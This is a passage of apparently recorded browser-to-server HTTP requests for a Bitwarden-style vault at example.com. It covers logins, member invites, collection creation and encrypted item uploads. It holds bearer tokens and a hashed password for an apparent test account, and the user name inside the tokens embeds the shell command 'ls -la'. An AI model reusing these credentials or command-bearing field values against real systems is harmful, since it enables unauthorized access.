eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/billing/vnext/self-host/metadata", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=62b4b472-0481-4d9e-9098-e04ed384c06f&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/invite", "headers": ["Host: example.com", "Content-Length: 149", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2NTMsImV4cCI6MTc5NDI4ODg1MywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjYyYjRiNDcyLTA0ODEtNGQ5ZS05MDk4LWUwNGVkMzg0YzA2ZiIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.ZB0_JlnJCCwkjbKgqB4VhsaIIjKje9xcho5dlgdarvXYh2P7fvQzHNVI4kLNB9IkM1hA6jn42E6duXz0mGt_Zt-tAtgVWMX_NNpIQnIoP2c5ENZA-HHE1cXcMzT4gC91D-ntlYyAO0pkHGqq3ohM0cL4W3NFxUyfFBI_18Bl2RfKVvZkqix3Mq6nZ8vIrvR61-RzPWnrXGZkq-sNVMSnlG7a1QhI7QxElK5u3csDrhDTpbM4hpKbq8C7q3H5Cqk67ofo2UY0CdSEshlbN9yGMpBNHFYy6LCbGxmPr8KfnFBq5H-xOdcYfBQDH2ldL46sHl9rlAwvyhGIOdJkV4gXsQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"accessSecretsManager\":false,\"collections\":[],\"emails\":[\"bob@example.com\",\"carol@example.com\"],\"type\":2,\"groups\":[],\"permissions\":{\"response\":null}}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=ae50381e-c4dd-46df-8c1b-81d07bd6b31c&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/mini-details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE3MDgsImV4cCI6MTc5NDI4ODkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImFlNTAzODFlLWM0ZGQtNDZkZi04YzFiLTgxZDA3YmQ2YjMxYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.Wn3NVdmLvdT-Q1Nbl9EENt94ePL-OQnmu3lGeamnQPBnlkBGwyqnCpxSInwrP4uvip_nCJObshjh8h3GNPzKXy2_EsA4L9-_Iim4EegSu2BEnta4vBzL-kgMPJWh_W1iuSDZz7Rr9DytQprzDkwqV8VMAyiK1-KGvC9oAdXkj-p54JN5xTHfFT5KpjsJArNbSPaSruWLdj21CFaUs0MeDZZVEZ_b6yq5XVLEZevit2pwcr_PSEq-5tECgptOtt6S2NmDp8ID5FkzcIi7BaxZBDOJNBNkuHAYURvHDOFL47B__qcHcj5ZD-mf3q0s5ut_HwqAkGsAszRNcjz2BQlJ4w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections", "headers": ["Host: example.com", "Content-Length: 264", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE3MDgsImV4cCI6MTc5NDI4ODkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImFlNTAzODFlLWM0ZGQtNDZkZi04YzFiLTgxZDA3YmQ2YjMxYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.Wn3NVdmLvdT-Q1Nbl9EENt94ePL-OQnmu3lGeamnQPBnlkBGwyqnCpxSInwrP4uvip_nCJObshjh8h3GNPzKXy2_EsA4L9-_Iim4EegSu2BEnta4vBzL-kgMPJWh_W1iuSDZz7Rr9DytQprzDkwqV8VMAyiK1-KGvC9oAdXkj-p54JN5xTHfFT5KpjsJArNbSPaSruWLdj21CFaUs0MeDZZVEZ_b6yq5XVLEZevit2pwcr_PSEq-5tECgptOtt6S2NmDp8ID5FkzcIi7BaxZBDOJNBNkuHAYURvHDOFL47B__qcHcj5ZD-mf3q0s5ut_HwqAkGsAszRNcjz2BQlJ4w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"groups\":[],\"users\":[{\"id\":\"ab3f80e9-1cf2-4bd9-8c66-8c225c8d33dd\",\"readOnly\":false,\"hidePasswords\":false,\"manage\":true}],\"externalId\":\"\",\"name\":\"2./eWYBCYfxt2CpqudM8IRPw==|tfUIkttKcBarAVvj6qNBZLvw2Rom7QwMFQARagtkstA=|9zpUmFA8gLf3oUae49VRTknBLAsH1JKdeESqo2BWIEs=\"}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=12bb4ea5-49af-4afd-9cec-ed32b2437f32&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=24434ab4-f1ef-4061-9380-1a993936a90d&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/api/ciphers/admin", "headers": ["Host: example.com", "Content-Length: 1480", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4MDUsImV4cCI6MTc5NDI4OTAwNSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjI0NDM0YWI0LWYxZWYtNDA2MS05MzgwLTFhOTkzOTM2YTkwZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.edtR1uM5n7CzJSwlwHtZdz7ZHPyn1BODXLt8mnzi58O7kTpeAmPHruKXNl2I4ZDn9UeKoyJk22Bzz0doTsJSZ3xdGRP8Tr60HBepjkCl7wI164pao7fEXjJvkNFnosfjflhia_b28bbp_xrH42kQBpYO5Lc2Qo65cObCFAnSUDNRGvZPUDEdkGlhWZTNcW2P-XMtEHdJ-rp4CR1iyd8l5GH5c_5OEHTuBOD1Sl-R4UUwimpx6z6EnwA2JPLolCLIs77EMv7Dvy3NGUAZXXOGKWVXSj68Y6bJnRus9xS-ZsFOIgjaDlUtJlk6vP0F6LNmAlPie292IOWKeoq1iPQepA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"cipher\":{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"b1fb68418247e16695e690620effc0de\",\"organizationId\":\"eded96f5-92c5-43ce-ab72-533d0e962b9b\",\"name\":\"2.lY/hB+h+vqOQjg9Yna8m9w==|s480HYIfQbmtk6z/EYzbxPoFYzkNa7ydPg8dxA0Jytg=|FlREq/eToDYyO36XEdhDN6e9HU58bJ3rIZIw9GVWsQs=\",\"notes\":\"2.zUYzI+JWIYa4YjrdYbHs5Q==|i+t8bIXaZyNEQyTVeQwPs+RhZzIo6j2QXYc+PB4kMRbA3MvHiicCj6O0lbDrdvbB2H/Yj85vIRcsoWHtFpyDRg==|GRryQSmDSV7SSRI4Wx2C8bq7Krz+gt7QWNmxwjXVYG0=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:37:05.299Z\",\"reprompt\":0,\"key\":\"2.qrusUZlra1XEFhBRBOoi9g==|o0bsKcbRSzfh/aQHQjvyUZqZ02NFvyk1DcU0YcYADKsJnWnPWyDL+v/HVaMit9XW7uxEevlUq+EupP3EIn5TSMR1xclexP/GxvJsoT/MHxc=|2pujK5igG7kwdxrLqzW24h/Hv5jta/mtPCIasjQq84I=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.B4p7WzDPraJjl8OFO1muxg==|Mguml66+QHS7vnxCrn841MHiB+8PAvuTxHMIajw1AzE=|ob/5zszNCjKCZ2fbnHiOlhJD/8jC6F+ubvSkPHBJEVw=\",\"uriChecksum\":\"2.VCS0dJN0hhCtUD1HtKzPpg==|NPvWJwVpiPFW3uI7Ld/mL44b81wX8aLwrk8q9YwExlSZm2ewI0SWX4WUwGR18Ot2|kXLvqvMMAa46QdYO3zcTYLBLAgBVise8oaXSen3pOxA=\"}],\"username\":\"2.47MJc/rnQ22b9B9BTwHAYg==|c3dNl/3b9J+A8QSaal76Lw==|SbWBlD6abJ6hemq0dEuy0DPzSCZ5OhPnJHm+OvA+OrE=\",\"password\":\"2.+K8/FCFH8oK5VAw6dZz4Vw==|3B1V89DdD8J5N9F43NZWlHTchEGtUPuJsdJMTUk9pY4=|S62pRKUd+G/R9coMtZ8hnP6Fp8CBS11ODPpiHvg7G8Y=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}},\"collectionIds\":[\"fae8be0f-c913-4947-bd22-b8859070af38\"]}"}
|
||||
{"method": "GET", "target": "/api/ciphers/32275125-8c1e-479f-8a41-0c6818b8f9b2/admin", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE4MDUsImV4cCI6MTc5NDI4OTAwNSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjI0NDM0YWI0LWYxZWYtNDA2MS05MzgwLTFhOTkzOTM2YTkwZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.edtR1uM5n7CzJSwlwHtZdz7ZHPyn1BODXLt8mnzi58O7kTpeAmPHruKXNl2I4ZDn9UeKoyJk22Bzz0doTsJSZ3xdGRP8Tr60HBepjkCl7wI164pao7fEXjJvkNFnosfjflhia_b28bbp_xrH42kQBpYO5Lc2Qo65cObCFAnSUDNRGvZPUDEdkGlhWZTNcW2P-XMtEHdJ-rp4CR1iyd8l5GH5c_5OEHTuBOD1Sl-R4UUwimpx6z6EnwA2JPLolCLIs77EMv7Dvy3NGUAZXXOGKWVXSj68Y6bJnRus9xS-ZsFOIgjaDlUtJlk6vP0F6LNmAlPie292IOWKeoq1iPQepA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", 